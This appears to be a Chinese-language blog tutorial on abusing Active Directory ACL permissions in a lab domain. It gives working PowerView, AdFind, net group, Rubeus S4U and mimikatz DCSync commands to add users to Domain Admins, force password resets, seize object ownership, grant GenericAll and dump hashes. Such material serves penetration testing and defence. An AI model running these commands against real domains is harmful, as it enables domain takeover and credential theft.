之前没学过这,师傅写的很棒
Author: Muxue
0x01 ACL简介
也就是访问控制列表
ACL
主要有俩种类型
- 权限访问控制 ->
DACL
(自由访问控制列表) - 日志记录功能 ->
SACL
(系统访问控制列表)
- 权限就是
DACL
,DACL
的功能主要就是权限访问控制。 - 审核那里就是
SACL
,主要功能就是记录访问成功否。
这里每一条规则就是ACE
(访问控制条目),是由SDDL
(安全描述符定义语言) 书写定义的。
简介这里就不写太多了
0X02 攻击者感兴趣的对象权限
主要是管理员配置不当,而有可能会引起这些操作。
- GenericAll:完全对象控制,可以将其添加到组中、更改用户密码、向对象用户注册
SPN
等功能 - Self(Self-Membership):自成员,这个是能够将自己添加到组的另一项特权
- GenericWrite:能够更新任何不受保护的目标对象参数值,可以设置设置
msDS-AllowedToActOnBehalfOfOtherIdentity
来打基于资源的约束委派等 AllExtendedRights:能够对对象执行AD的拓展相关操作,例如,强制更改目标用户的密码(
ForceChangePassword
)。WriteProperty:完全写入权限,我们可以将用户写入到这个组。
WriteOwner:将对象所有者更改为攻击者控制的用户从而接管对象。
WriteDACL:将新
ACE
写入目标对象的DACL
的能力。例如,攻击者可能会向目标对象DACL
写入新的ACE
,从而控制目标。
GenericAll on User
完全对象控制,所以我们可以将其添加到组中、更改用户密码、向对象用户注册SPN
等功能
使用iis和user1用户做测试
iis: S-1-5-21-511003792-1237030605-620821399-1106
user1: S-1-5-21-511003792-1237030605-620821399-1604
使用PowerView.ps1
查找谁对user1
用户有GenericAll
权限
Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs | ?{$_.ActiveDirectoryRights -eq "GenericAll"}
我们注意查看SecurityIdentifier
里的值,然后通过ldap查找,得知"Domain Admins"和"Enterprise Admins"组对他有GenericAll
权限
我们添加一条ACE
然后再查询,发现多了一条。
然后接着查询是哪一条用户
我们就使用iis来操作更改密码 看看能不能更改成功
利用成功
GenericAll on Group
和上边利用操作差不多 只不过是添加组的了
使用powerview
来查找对域管组有GenericAll
权限的用户
Get-ObjectAcl -ResolveGUIDs| ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=muxue,DC=com"}
然后我们测试将一个用户,加到域管组里
Self(Self-Membership)
自成员,这个是能够将自己添加到组的另一项特权
添加/删除自身作为成员
然后使用powerview
来查找具有WriteProperty
特权的账号
Get-ObjectAcl -SamAccountName "CN=Domain Admins,CN=Users,DC=muxue,DC=com" -ResolveGUIDs | out-file C:\Users\iis\Desktop\1.txt
然后再次尝试加入域管组
net group "domain admins" user1 /add /domain
GenericWrite
也就是通用写入,这个权限能够更新任何不受保护的目标对象参数值,所以我们可以设置msDS-AllowedToActOnBehalfOfOtherIdentity
来打基于资源的约束委派等
有*GenericAll/GenericWrite/WriteDacl/WriteProperty/
一种权限就可以实现约束委派,由于都是设置属性值,这里我就直接用加域用户(有写入权限
)来测试了
addUser qwer123!
查看谁对他有写入权限
Get-ObjectAcl -SamAccountName win7 -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}
尝试和win7
建立ipc链接,可以建立 但没有权限
我们需要添加一个机器用户,因为需要用机器用户去申请票据,本身的win7机器账户我们不知道他的密码所以无法申请票据,所以我们需要添加一个机器用户,用来帮助我们申请票据
检查msds-allowedtoactonbehalfofotheridentity
的值
Get-NetComputer win7 | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
然后增加机器用户
成功使用addUser
用户创建evilpc
因为是addUser用户把win7加入到域中,所以拥有写权限 创造了一个属性是msDS-AllowedToActOnBehalfOfOtherIdentity
值为evilpc
的object-id
然后我们就可以去生成票据了,正好今天rebeus 2.0
出来了,刚编译好 就用它来生成票据了
Rubeus.exe hash /user:evilpc /password:123456 /domain:muxue.com // 获取hash
Rubeus.exe s4u /user:evilpc /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:administrator /msdsspn:cifs/win7.muxue.com /ptt // 申请票据并导入
当然也可以用impacket
的getST
来获取票据,然后利用mimikatz
来Pass The Ticket
AllExtendedRights
我以ForceChangePassword
拓展权限举例,可以在不知道当前目标用户的密码的情况下更改目标用户的密码
寻找ForceChangePassword
拓展权限
注意是重置密码,更改密码不得行。
Get-ObjectAcl -SamAccountName user1 -ResolveGUIDs | Out-File C:\Users\iis\Desktop\1.txt
然后尝试更改密码
后面这条不成功的,是我取消了权限然后尝试的。
WriteProperty
WriteProperty
顾名思义:写所有权,这个权限也可以将我们加入到一个组里
可以使用powerview
也可以使用adfind
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com," ntsecuritydescriptor -sddlfilter ;;;;;iis -sddl+++ -recmute -sdna -s basea -s base
Get-ObjectAcl -SamAccountName "domain admins" -ResolveGUIDs
powerview的结果
WriteOwner
WriteOwner
权限修改对象的安全描述符的所有者部分。
查看写owner的权限
Get-ObjectAcl -SamAccountName "domain admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*write*"}
然后进行利用,首先要查找组的SID
AdFind.exe -b "CN=Domain Admins,CN=Users,DC=muxue,DC=com" // 当然也可以加过滤条件 我太懒了 就没加
然后修改所有者
Set-DomainObjectOwner -Identity S-1-5-21-511003792-1237030605-620821399-512 -OwnerIdentity "iis" -Verbose
可以看到 所有者已经不是administrator
了
WriteDACL
对应的是修改权限
首先查询谁有权限,这次我是直接根据我们的SID查询的
get-domainobjectacl acltest -ResolveGUIDs | ?{$_.SecurityIdentifier -eq 'S-1-5-21-511003792-1237030605-620821399-1106'}
Get-ObjectAcl -SamAccountName "acltest" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights-like "*dacl*"}
可以看见现在有WriteDacl权限
然后接着使用PowerView
为iis
on添加GenericAll
权限
Add-DomainObjectAcl -TargetIdentity acltest -PrincipalIdentity iis -Rights All -Verbose
可以看见,我们已经成功提到了GenericAll
权限
Dcsync
经常耍mimikatz
的兄弟 应该很熟悉这个东西
- DS-Replication-Get-Changes
- GUID: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
- DS-Replication-Get-Changes-All
- GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
- DS-Replication-Get-Changes-In-Filtered-Set(这个不是必要的)
- GUID: 89e95b76-444d-4c62-991a-0facbeda640c
然后利用mimikatz
的dscync
功能
成功dump出hash
0X03 小结
我这里原理写的比较少,大家要是想了解具体的ACE,SDDL可以去msdn上看。
ACL的攻击方式还可以打组合,如配合Exchange
,利用中继来dcsync
,AdminSDHolder
等等手法来进行攻击。
这里我就不先写了,有机会下次写出来给大家看。